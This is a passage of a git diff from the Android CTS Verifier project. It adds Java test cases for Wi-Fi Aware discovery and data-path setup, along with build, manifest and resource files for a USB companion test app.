+                CallbackUtils.DiscoveryCb.ON_PUBLISH_STARTED
+                        | CallbackUtils.DiscoveryCb.ON_SESSION_CONFIG_FAILED);
+        switch (callbackData.callback) {
+            case CallbackUtils.DiscoveryCb.TIMEOUT:
+                setFailureReason(mContext.getString(R.string.aware_status_publish_timeout));
+                Log.e(TAG, "executeTestPublisher: publish TIMEOUT");
+                return false;
+            case CallbackUtils.DiscoveryCb.ON_SESSION_CONFIG_FAILED:
+                setFailureReason(mContext.getString(R.string.aware_status_publish_failed));
+                Log.e(TAG, "executeTestPublisher: publish ON_SESSION_CONFIG_FAILED");
+                return false;
+        }
+        PublishDiscoverySession discoverySession = callbackData.publishDiscoverySession;
+        if (discoverySession == null) {
+            setFailureReason(mContext.getString(R.string.aware_status_publish_null_session));
+            Log.e(TAG, "executeTestPublisher: publish succeeded but null session returned");
+            return false;
+        }
+        mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_publish_started));
+        if (DBG) Log.d(TAG, "executeTestPublisher: publish succeeded");
+
+        // 3. wait to receive message: no timeout since this depends on (human) operator starting
+        //    the test on the subscriber device.
+        callbackData = discoveryCb.waitForCallbacksNoTimeout(
+                CallbackUtils.DiscoveryCb.ON_MESSAGE_RECEIVED);
+        PeerHandle peerHandle = callbackData.peerHandle;
+        mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_received));
+        if (DBG) Log.d(TAG, "executeTestPublisher: received message");
+
+        //    validate that received the expected message
+        if (!Arrays.equals(MSG_SUB_TO_PUB, callbackData.serviceSpecificInfo)) {
+            setFailureReason(mContext.getString(R.string.aware_status_receive_failure));
+            Log.e(TAG, "executeTestPublisher: receive message message content mismatch: rx='"
+                    + new String(callbackData.serviceSpecificInfo) + "'");
+            return false;
+        }
+        if (peerHandle == null) {
+            setFailureReason(mContext.getString(R.string.aware_status_receive_failure));
+            Log.e(TAG, "executeTestPublisher: received message but peerHandle is null!?");
+            return false;
+        }
+
+        // 4. Request network
+        ConnectivityManager cm = (ConnectivityManager) mContext.getSystemService(
+                Context.CONNECTIVITY_SERVICE);
+        NetworkRequest nr = new NetworkRequest.Builder().addTransportType(
+                NetworkCapabilities.TRANSPORT_WIFI_AWARE).setNetworkSpecifier(
+                mIsSecurityOpen ? discoverySession.createNetworkSpecifierOpen(peerHandle)
+                        : discoverySession.createNetworkSpecifierPassphrase(peerHandle,
+                                PASSPHRASE)).build();
+        CallbackUtils.NetworkCb networkCb = new CallbackUtils.NetworkCb();
+        cm.requestNetwork(nr, networkCb, CALLBACK_TIMEOUT_SEC * 1000);
+        mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_network_requested));
+        if (DBG) Log.d(TAG, "executeTestPublisher: requested network");
+
+        // 5. send message & wait for send status
+        discoverySession.sendMessage(peerHandle, MESSAGE_ID, MSG_PUB_TO_SUB);
+        callbackData = discoveryCb.waitForCallbacks(
+                CallbackUtils.DiscoveryCb.ON_MESSAGE_SEND_SUCCEEDED
+                        | CallbackUtils.DiscoveryCb.ON_MESSAGE_SEND_FAILED);
+        switch (callbackData.callback) {
+            case CallbackUtils.DiscoveryCb.TIMEOUT:
+                setFailureReason(mContext.getString(R.string.aware_status_send_timeout));
+                Log.e(TAG, "executeTestPublisher: send message TIMEOUT");
+                return false;
+            case CallbackUtils.DiscoveryCb.ON_MESSAGE_SEND_FAILED:
+                setFailureReason(mContext.getString(R.string.aware_status_send_failed));
+                Log.e(TAG, "executeTestPublisher: send message ON_MESSAGE_SEND_FAILED");
+                return false;
+        }
+        mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_send_success));
+        if (DBG) Log.d(TAG, "executeTestPublisher: send message succeeded");
+
+        if (callbackData.messageId != MESSAGE_ID) {
+            setFailureReason(mContext.getString(R.string.aware_status_send_fail_parameter));
+            Log.e(TAG, "executeTestPublisher: send message succeeded but message ID mismatch : "
+                    + callbackData.messageId);
+            return false;
+        }
+
+        // 6. wait for network
+        boolean networkAvailable = networkCb.waitForNetwork();
+        cm.unregisterNetworkCallback(networkCb);
+        if (!networkAvailable) {
+            setFailureReason(mContext.getString(R.string.aware_status_network_failed));
+            Log.e(TAG, "executeTestPublisher: request network rejected - ON_UNAVAILABLE");
+            return false;
+        }
+        mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_network_success));
+        if (DBG) Log.d(TAG, "executeTestPublisher: network request granted - AVAILABLE");
+
+        // 7. destroy session
+        discoverySession.close();
+
+        mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_lifecycle_ok));
+        return true;
+
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathOutOfBandTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathOutOfBandTestCase.java
new file mode 100644
index 0000000..b054781
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathOutOfBandTestCase.java
@@ -0,0 +1,424 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware.testcase;
+
+import static com.android.cts.verifier.wifiaware.CallbackUtils.CALLBACK_TIMEOUT_SEC;
+
+import android.content.Context;
+import android.net.ConnectivityManager;
+import android.net.NetworkCapabilities;
+import android.net.NetworkRequest;
+import android.net.wifi.aware.PeerHandle;
+import android.net.wifi.aware.PublishConfig;
+import android.net.wifi.aware.PublishDiscoverySession;
+import android.net.wifi.aware.SubscribeConfig;
+import android.net.wifi.aware.SubscribeDiscoverySession;
+import android.net.wifi.aware.WifiAwareManager;
+import android.net.wifi.aware.WifiAwareSession;
+import android.util.Log;
+import android.util.Pair;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.wifiaware.BaseTestCase;
+import com.android.cts.verifier.wifiaware.CallbackUtils;
+
+/**
+ *Test case for data-path, out-of-band (OOB) test cases:
+ * open/passphrase * responder/initiator.
+ *
+ * OOB assumes that there's an alternative channel over which to communicate the discovery MAC
+ * address of the Aware interface. That channel (e.g. bluetooth or a host test device) is not
+ * readily available (don't want to have Aware tests dependent on BLE). Instead will fake the OOB
+ * channel using Aware itself: will do normal discovery during which the devices will exchange their
+ * MAC addresses, then destroy the discovery sessions and use the MAC addresses to perform OOB data-
+ * path requests.
+ *
+ * Responder test sequence:
+ * 1. Attach (with identity listener)
+ *    wait for results (session)
+ *    wait for identity
+ * 2. Publish
+ *    wait for results (publish session)
+ * 3. Wait for rx message (with MAC)
+ * 4. Send message with MAC
+ *    wait for success
+ * 5. Destroy discovery session
+ * 6. Request network (as Responder)
+ *    wait for network
+ *
+ * Initiator test sequence:
+ * 1. Attach (with identity listener)
+ *    wait for results (session)
+ *    wait for identity
+ * 2. Subscribe
+ *    wait for results (subscribe session)
+ * 3. Wait for discovery
+ * 4. Send message with MAC
+ *    wait for success
+ * 5. Wait for rx message (with MAC)
+ * 6. Destroy discovery session
+ * 7. Sleep for 5 seconds to let Responder time to set up
+ * 8. Request network (as Initiator)
+ *    wait for network
+ */
+public class DataPathOutOfBandTestCase extends BaseTestCase {
+    private static final String TAG = "DataPathOutOfBandTestCase";
+    private static final boolean DBG = true;
+
+    private static final int MAC_BYTES_LEN = 6;
+
+    private static final String SERVICE_NAME = "CtsVerifierTestService";
+    private static final String PASSPHRASE = "Some super secret password";
+    private static final int MESSAGE_ID = 1234;
+
+    private boolean mIsSecurityOpen;
+    private boolean mIsResponder;
+
+    private final Object mLock = new Object();
+
+    private String mFailureReason;
+    private WifiAwareSession mWifiAwareSession;
+    private byte[] mDiscoveryMac;
+
+    public DataPathOutOfBandTestCase(Context context, boolean isSecurityOpen,
+            boolean isResponder) {
+        super(context);
+        mIsSecurityOpen = isSecurityOpen;
+        mIsResponder = isResponder;
+    }
+
+    @Override
+    protected boolean executeTest() throws InterruptedException {
+        if (DBG) {
+            Log.d(TAG, "executeTest: mIsSecurityOpen=" + mIsSecurityOpen + ", mIsResponder="
+                    + mIsResponder);
+        }
+
+        // 1. attach (with identity listener)
+        CallbackUtils.AttachCb attachCb = new CallbackUtils.AttachCb();
+        CallbackUtils.IdentityListenerSingleShot identityL = new CallbackUtils
+                .IdentityListenerSingleShot();
+        mWifiAwareManager.attach(attachCb, identityL, mHandler);
+        Pair<Integer, WifiAwareSession> results = attachCb.waitForAttach();
+        switch (results.first) {
+            case CallbackUtils.AttachCb.TIMEOUT:
+                setFailureReason(mContext.getString(R.string.aware_status_attach_timeout));
+                Log.e(TAG, "executeTest: attach TIMEOUT");
+                return false;
+            case CallbackUtils.AttachCb.ON_ATTACH_FAILED:
+                setFailureReason(mContext.getString(R.string.aware_status_attach_fail));
+                Log.e(TAG, "executeTest: attach ON_ATTACH_FAILED");
+                return false;
+        }
+        mWifiAwareSession = results.second;
+        if (mWifiAwareSession == null) {
+            setFailureReason(mContext.getString(R.string.aware_status_attach_fail));
+            Log.e(TAG, "executeTest: attach callback succeeded but null session returned!?");
+            return false;
+        }
+        mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_attached));
+        if (DBG) {
+            Log.d(TAG, "executeTest: attach succeeded");
+        }
+        mDiscoveryMac = identityL.waitForMac();
+        if (mDiscoveryMac == null) {
+            setFailureReason(mContext.getString(R.string.aware_status_identity_fail));
+            Log.e(TAG, "executeTest: identity callback not triggered");
+            return false;
+        }
+        mListener.onTestMsgReceived(mResources.getString(R.string.aware_status_identity,
+                bytesToHex(mDiscoveryMac, ':')));
+        if (DBG) {
+            Log.d(TAG, "executeTest: identity received: " + bytesToHex(mDiscoveryMac, ':'));
+        }
+
+        if (mIsResponder) {
+            return executeTestResponder();
+        } else {
+            return executeTestInitiator();
+        }
+    }
+
+    private void setFailureReason(String reason) {
+        synchronized (mLock) {
+            mFailureReason = reason;
+        }
+    }
+
+    @Override
+    protected String getFailureReason() {
+        synchronized (mLock) {
+            return mFailureReason;
+        }
+    }
+
+    @Override
+    protected void tearDown() {
+        if (mWifiAwareSession != null) {
+            mWifiAwareSession.close();
+            mWifiAwareSession = null;
+        }
+        super.tearDown();
+    }
+
+    private boolean executeTestResponder() throws InterruptedException {
+        if (DBG) Log.d(TAG, "executeTestResponder");
+        CallbackUtils.DiscoveryCb discoveryCb = new CallbackUtils.DiscoveryCb();
+
+        // 2. publish
+        PublishConfig publishConfig = new PublishConfig.Builder().setServiceName(
+                SERVICE_NAME).build();
+        if (DBG) Log.d(TAG, "executeTestResponder: publishConfig=" + publishConfig);
+        mWifiAwareSession.publish(publishConfig, discoveryCb, mHandler);
+
+        //    wait for results - publish session
+        CallbackUtils.DiscoveryCb.CallbackData callbackData = discoveryCb.waitForCallbacks(
+                CallbackUtils.DiscoveryCb.ON_PUBLISH_STARTED
+                        | CallbackUtils.DiscoveryCb.ON_SESSION_CONFIG_FAILED);
+        switch (callbackData.callback) {
+            case CallbackUtils.DiscoveryCb.TIMEOUT:
+                setFailureReason(mContext.getString(R.string.aware_status_publish_timeout));
+                Log.e(TAG, "executeTestResponder: publish TIMEOUT");
+                return false;
+            case CallbackUtils.DiscoveryCb.ON_SESSION_CONFIG_FAILED:
+                setFailureReason(mContext.getString(R.string.aware_status_publish_failed));
+                Log.e(TAG, "executeTestResponder: publish ON_SESSION_CONFIG_FAILED");
+                return false;
+        }
+        PublishDiscoverySession discoverySession = callbackData.publishDiscoverySession;
+        if (discoverySession == null) {
+            setFailureReason(mContext.getString(R.string.aware_status_publish_null_session));
+            Log.e(TAG, "executeTestResponder: publish succeeded but null session returned");
+            return false;
+        }
+        mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_publish_started));
+        if (DBG) Log.d(TAG, "executeTestResponder: publish succeeded");
+
+        // 3. Wait for rx message (with MAC)
+        callbackData = discoveryCb.waitForCallbacks(CallbackUtils.DiscoveryCb.ON_MESSAGE_RECEIVED);
+        switch (callbackData.callback) {
+            case CallbackUtils.DiscoveryCb.TIMEOUT:
+                setFailureReason(mContext.getString(R.string.aware_status_receive_timeout));
+                Log.e(TAG, "executeTestResponder: receive message TIMEOUT");
+                return false;
+        }
+
+        if (callbackData.serviceSpecificInfo == null
+                || callbackData.serviceSpecificInfo.length != MAC_BYTES_LEN) {
+            setFailureReason(mContext.getString(R.string.aware_status_receive_failure));
+            Log.e(TAG, "executeTestResponder: receive message message content mismatch: "
+                    + bytesToHex(callbackData.serviceSpecificInfo, ':'));
+            return false;
+        }
+
+        PeerHandle peerHandle = callbackData.peerHandle;
+        byte[] peerMac = callbackData.serviceSpecificInfo;
+
+        mListener.onTestMsgReceived(mResources.getString(R.string.aware_status_received_mac,
+                bytesToHex(peerMac, ':')));
+        if (DBG) {
+            Log.d(TAG, "executeTestResponder: received MAC address: " + bytesToHex(peerMac, ':'));
+        }
+
+        // 4. Send message with MAC and wait for success
+        discoverySession.sendMessage(peerHandle, MESSAGE_ID, mDiscoveryMac);
+        callbackData = discoveryCb.waitForCallbacks(
+                CallbackUtils.DiscoveryCb.ON_MESSAGE_SEND_SUCCEEDED
+                        | CallbackUtils.DiscoveryCb.ON_MESSAGE_SEND_FAILED);
+        switch (callbackData.callback) {
+            case CallbackUtils.DiscoveryCb.TIMEOUT:
+                setFailureReason(mContext.getString(R.string.aware_status_send_timeout));
+                Log.e(TAG, "executeTestResponder: send message TIMEOUT");
+                return false;
+            case CallbackUtils.DiscoveryCb.ON_MESSAGE_SEND_FAILED:
+                setFailureReason(mContext.getString(R.string.aware_status_send_failed));
+                Log.e(TAG, "executeTestResponder: send message ON_MESSAGE_SEND_FAILED");
+                return false;
+        }
+        mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_send_success));
+        if (DBG) Log.d(TAG, "executeTestResponder: send message succeeded");
+
+        if (callbackData.messageId != MESSAGE_ID) {
+            setFailureReason(mContext.getString(R.string.aware_status_send_fail_parameter));
+            Log.e(TAG, "executeTestResponder: send message message ID mismatch: "
+                    + callbackData.messageId);
+            return false;
+        }
+
+        // 5. Destroy discovery session
+        discoverySession.close();
+
+        // 6. Request network (as Responder) and wait for network
+        ConnectivityManager cm = (ConnectivityManager) mContext.getSystemService(
+                Context.CONNECTIVITY_SERVICE);
+        NetworkRequest nr = new NetworkRequest.Builder().addTransportType(
+                NetworkCapabilities.TRANSPORT_WIFI_AWARE).setNetworkSpecifier(
+                mIsSecurityOpen ? mWifiAwareSession.createNetworkSpecifierOpen(
+                        WifiAwareManager.WIFI_AWARE_DATA_PATH_ROLE_RESPONDER, peerMac)
+                        : mWifiAwareSession.createNetworkSpecifierPassphrase(
+                                WifiAwareManager.WIFI_AWARE_DATA_PATH_ROLE_RESPONDER, peerMac,
+                                PASSPHRASE)).build();
+        CallbackUtils.NetworkCb networkCb = new CallbackUtils.NetworkCb();
+        cm.requestNetwork(nr, networkCb, CALLBACK_TIMEOUT_SEC * 1000);
+        mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_network_requested));
+        if (DBG) Log.d(TAG, "executeTestResponder: requested network");
+        boolean networkAvailable = networkCb.waitForNetwork();
+        cm.unregisterNetworkCallback(networkCb);
+        if (!networkAvailable) {
+            setFailureReason(mContext.getString(R.string.aware_status_network_failed));
+            Log.e(TAG, "executeTestResponder: network request rejected - ON_UNAVAILABLE");
+            return false;
+        }
+        mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_network_success));
+        if (DBG) Log.d(TAG, "executeTestResponder: network request granted - AVAILABLE");
+
+        mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_lifecycle_ok));
+        return true;
+    }
+
+    private boolean executeTestInitiator() throws InterruptedException {
+        if (DBG) Log.d(TAG, "executeTestInitiator");
+        CallbackUtils.DiscoveryCb discoveryCb = new CallbackUtils.DiscoveryCb();
+
+        // 2. Subscribe
+        SubscribeConfig subscribeConfig = new SubscribeConfig.Builder().setServiceName(
+                SERVICE_NAME).build();
+        if (DBG) Log.d(TAG, "executeTestInitiator: subscribeConfig=" + subscribeConfig);
+        mWifiAwareSession.subscribe(subscribeConfig, discoveryCb, mHandler);
+
+        //    wait for results - subscribe session
+        CallbackUtils.DiscoveryCb.CallbackData callbackData = discoveryCb.waitForCallbacks(
+                CallbackUtils.DiscoveryCb.ON_SUBSCRIBE_STARTED
+                        | CallbackUtils.DiscoveryCb.ON_SESSION_CONFIG_FAILED);
+        switch (callbackData.callback) {
+            case CallbackUtils.DiscoveryCb.TIMEOUT:
+                setFailureReason(mContext.getString(R.string.aware_status_subscribe_timeout));
+                Log.e(TAG, "executeTestInitiator: subscribe TIMEOUT");
+                return false;
+            case CallbackUtils.DiscoveryCb.ON_SESSION_CONFIG_FAILED:
+                setFailureReason(mContext.getString(R.string.aware_status_subscribe_failed));
+                Log.e(TAG, "executeTestInitiator: subscribe ON_SESSION_CONFIG_FAILED");
+                return false;
+        }
+        SubscribeDiscoverySession discoverySession = callbackData.subscribeDiscoverySession;
+        if (discoverySession == null) {
+            setFailureReason(mContext.getString(R.string.aware_status_subscribe_null_session));
+            Log.e(TAG, "executeTestInitiator: subscribe succeeded but null session returned");
+            return false;
+        }
+        mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_subscribe_started));
+        if (DBG) Log.d(TAG, "executeTestInitiator: subscribe succeeded");
+
+        // 3. Wait for discovery
+        callbackData = discoveryCb.waitForCallbacks(
+                CallbackUtils.DiscoveryCb.ON_SERVICE_DISCOVERED);
+        switch (callbackData.callback) {
+            case CallbackUtils.DiscoveryCb.TIMEOUT:
+                setFailureReason(mContext.getString(R.string.aware_status_discovery_timeout));
+                Log.e(TAG, "executeTestInitiator: waiting for discovery TIMEOUT");
+                return false;
+        }
+        PeerHandle peerHandle = callbackData.peerHandle;
+        mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_discovery));
+        if (DBG) Log.d(TAG, "executeTestInitiator: discovery");
+
+        // 4. Send message with MAC and wait for success
+        discoverySession.sendMessage(peerHandle, MESSAGE_ID, mDiscoveryMac);
+        callbackData = discoveryCb.waitForCallbacks(
+                CallbackUtils.DiscoveryCb.ON_MESSAGE_SEND_SUCCEEDED
+                        | CallbackUtils.DiscoveryCb.ON_MESSAGE_SEND_FAILED);
+        switch (callbackData.callback) {
+            case CallbackUtils.DiscoveryCb.TIMEOUT:
+                setFailureReason(mContext.getString(R.string.aware_status_send_timeout));
+                Log.e(TAG, "executeTestInitiator: send message TIMEOUT");
+                return false;
+            case CallbackUtils.DiscoveryCb.ON_MESSAGE_SEND_FAILED:
+                setFailureReason(mContext.getString(R.string.aware_status_send_failed));
+                Log.e(TAG, "executeTestInitiator: send message ON_MESSAGE_SEND_FAILED");
+                return false;
+        }
+        mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_send_success));
+        if (DBG) Log.d(TAG, "executeTestInitiator: send message succeeded");
+
+        if (callbackData.messageId != MESSAGE_ID) {
+            setFailureReason(mContext.getString(R.string.aware_status_send_fail_parameter));
+            Log.e(TAG, "executeTestInitiator: send message message ID mismatch: "
+                    + callbackData.messageId);
+            return false;
+        }
+
+        // 5. Wait for rx message (with MAC)
+        callbackData = discoveryCb.waitForCallbacks(CallbackUtils.DiscoveryCb.ON_MESSAGE_RECEIVED);
+        switch (callbackData.callback) {
+            case CallbackUtils.DiscoveryCb.TIMEOUT:
+                setFailureReason(mContext.getString(R.string.aware_status_receive_timeout));
+                Log.e(TAG, "executeTestInitiator: receive message TIMEOUT");
+                return false;
+        }
+
+        if (callbackData.serviceSpecificInfo == null
+                || callbackData.serviceSpecificInfo.length != MAC_BYTES_LEN) {
+            setFailureReason(mContext.getString(R.string.aware_status_receive_failure));
+            Log.e(TAG, "executeTestInitiator: receive message message content mismatch: "
+                    + bytesToHex(callbackData.serviceSpecificInfo, ':'));
+            return false;
+        }
+
+        byte[] peerMac = callbackData.serviceSpecificInfo;
+
+        mListener.onTestMsgReceived(mResources.getString(R.string.aware_status_received_mac,
+                bytesToHex(peerMac, ':')));
+        if (DBG) {
+            Log.d(TAG, "executeTestInitiator: received MAC address: " + bytesToHex(peerMac, ':'));
+        }
+
+        // 6. Destroy discovery session
+        discoverySession.close();
+
+        // 7. Sleep for 5 seconds to let Responder time to set up
+        mListener.onTestMsgReceived(
+                mContext.getString(R.string.aware_status_sleeping_wait_for_responder));
+        Thread.sleep(5000);
+
+        // 8. Request network (as Initiator) and wait for network
+        ConnectivityManager cm = (ConnectivityManager) mContext.getSystemService(
+                Context.CONNECTIVITY_SERVICE);
+        NetworkRequest nr = new NetworkRequest.Builder().addTransportType(
+                NetworkCapabilities.TRANSPORT_WIFI_AWARE).setNetworkSpecifier(
+                mIsSecurityOpen ? mWifiAwareSession.createNetworkSpecifierOpen(
+                        WifiAwareManager.WIFI_AWARE_DATA_PATH_ROLE_INITIATOR, peerMac)
+                        : mWifiAwareSession.createNetworkSpecifierPassphrase(
+                                WifiAwareManager.WIFI_AWARE_DATA_PATH_ROLE_INITIATOR, peerMac,
+                                PASSPHRASE)).build();
+        CallbackUtils.NetworkCb networkCb = new CallbackUtils.NetworkCb();
+        cm.requestNetwork(nr, networkCb, CALLBACK_TIMEOUT_SEC * 1000);
+        mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_network_requested));
+        if (DBG) Log.d(TAG, "executeTestInitiator: requested network");
+        boolean networkAvailable = networkCb.waitForNetwork();
+        cm.unregisterNetworkCallback(networkCb);
+        if (!networkAvailable) {
+            setFailureReason(mContext.getString(R.string.aware_status_network_failed));
+            Log.e(TAG, "executeTestInitiator: network request rejected - ON_UNAVAILABLE");
+            return false;
+        }
+        mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_network_success));
+        if (DBG) Log.d(TAG, "executeTestInitiator: network request granted - AVAILABLE");
+
+        mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_lifecycle_ok));
+        return true;
+    }
+}
diff --git a/apps/CtsVerifierUSBCompanion/Android.mk b/apps/CtsVerifierUSBCompanion/Android.mk
new file mode 100644
index 0000000..13e565e
--- /dev/null
+++ b/apps/CtsVerifierUSBCompanion/Android.mk
@@ -0,0 +1,34 @@
+#
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-annotations junit
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsVerifierUSBCompanion
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_PACKAGE)
diff --git a/apps/CtsVerifierUSBCompanion/AndroidManifest.xml b/apps/CtsVerifierUSBCompanion/AndroidManifest.xml
new file mode 100644
index 0000000..594f4ee
--- /dev/null
+++ b/apps/CtsVerifierUSBCompanion/AndroidManifest.xml
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2016 The Android Open Source Project
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+        http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.verifierusbcompanion">
+
+    <uses-sdk android:minSdkVersion="12" android:targetSdkVersion="25" />
+
+    <uses-feature android:name="android.hardware.usb.accessory" />
+    <uses-feature android:name="android.hardware.usb.host" />
+
+    <application android:label="@string/app_name"
+            android:icon="@drawable/icon">
+
+        <activity android:name=".Main"
+                android:screenOrientation="portrait"
+                android:configChanges="orientation|keyboardHidden">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name=".AccessoryAttachmentHandler">
+            <intent-filter>
+                <action android:name="android.hardware.usb.action.USB_ACCESSORY_ATTACHED" />
+            </intent-filter>
+
+            <meta-data android:name="android.hardware.usb.action.USB_ACCESSORY_ATTACHED"
+                    android:resource="@xml/accessory_filter" />
+        </activity>
+    </application>
+</manifest>
diff --git a/apps/CtsVerifierUSBCompanion/res/drawable-hdpi/icon.png b/apps/CtsVerifierUSBCompanion/res/drawable-hdpi/icon.png
new file mode 100644
index 0000000..da28c1f
--- /dev/null
+++ b/apps/CtsVerifierUSBCompanion/res/drawable-hdpi/icon.png
Binary files differ
diff --git a/apps/CtsVerifierUSBCompanion/res/layout/main.xml b/apps/CtsVerifierUSBCompanion/res/layout/main.xml
new file mode 100644
index 0000000..6eb2cec
--- /dev/null
+++ b/apps/CtsVerifierUSBCompanion/res/layout/main.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2016 The Android Open Source Project
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+        http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+  -->
+
+<RelativeLayout
+        xmlns:android="http://schemas.android.com/apk/res/android"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+
+    <LinearLayout android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_margin="8dp"
+            android:id="@+id/status">
+
+        <TextView
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/status_label"
+                android:layout_marginEnd="4sp"
+                android:textStyle="bold" />
+
+        <TextView
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:id="@+id/status_message" />
+
+    </LinearLayout>
+
+    <Button
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_below="@id/status"
+            android:id="@+id/deviceTest"
+            android:text="@string/device_test_button" />
+
+    <Button
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_below="@id/deviceTest"
+        android:id="@+id/accessoryTest"
+        android:text="@string/accessory_test_button" />
+
+    <Button
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_below="@id/status"
+            android:id="@+id/abort"
+            android:text="@string/abort_button"
+            android:visibility="gone" />
+
+</RelativeLayout>
diff --git a/apps/CtsVerifierUSBCompanion/res/values/strings.xml b/apps/CtsVerifierUSBCompanion/res/values/strings.xml
new file mode 100644
index 0000000..56bc71f
--- /dev/null
+++ b/apps/CtsVerifierUSBCompanion/res/values/strings.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2016 The Android Open Source Project
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+        http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+  -->
+
+<resources>
+    <string name="status_label">Status:</string>
+    <string name="device_test_button">Start device test companion</string>
+    <string name="accessory_test_button">Start accessory test companion</string>
+    <string name="abort_button">Abort</string>
+    <string name="app_name">Cts Verifier USB Companion</string>
+    <string name="status_no_test">No test run</string>
+    <string name="status_finished">Test finished</string>
+    <string name="status_abort">Aborted</string>
+</resources>
diff --git a/apps/CtsVerifierUSBCompanion/res/xml/accessory_filter.xml b/apps/CtsVerifierUSBCompanion/res/xml/accessory_filter.xml
new file mode 100644
index 0000000..b511879
--- /dev/null
+++ b/apps/CtsVerifierUSBCompanion/res/xml/accessory_filter.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2016 The Android Open Source Project
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+        http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+  -->
+<resources>
+    <usb-accessory />
+</resources>
diff --git a/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/AccessoryAttachmentHandler.java b/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/AccessoryAttachmentHandler.java
new file mode 100644
index 0000000..ec60ab9
--- /dev/null
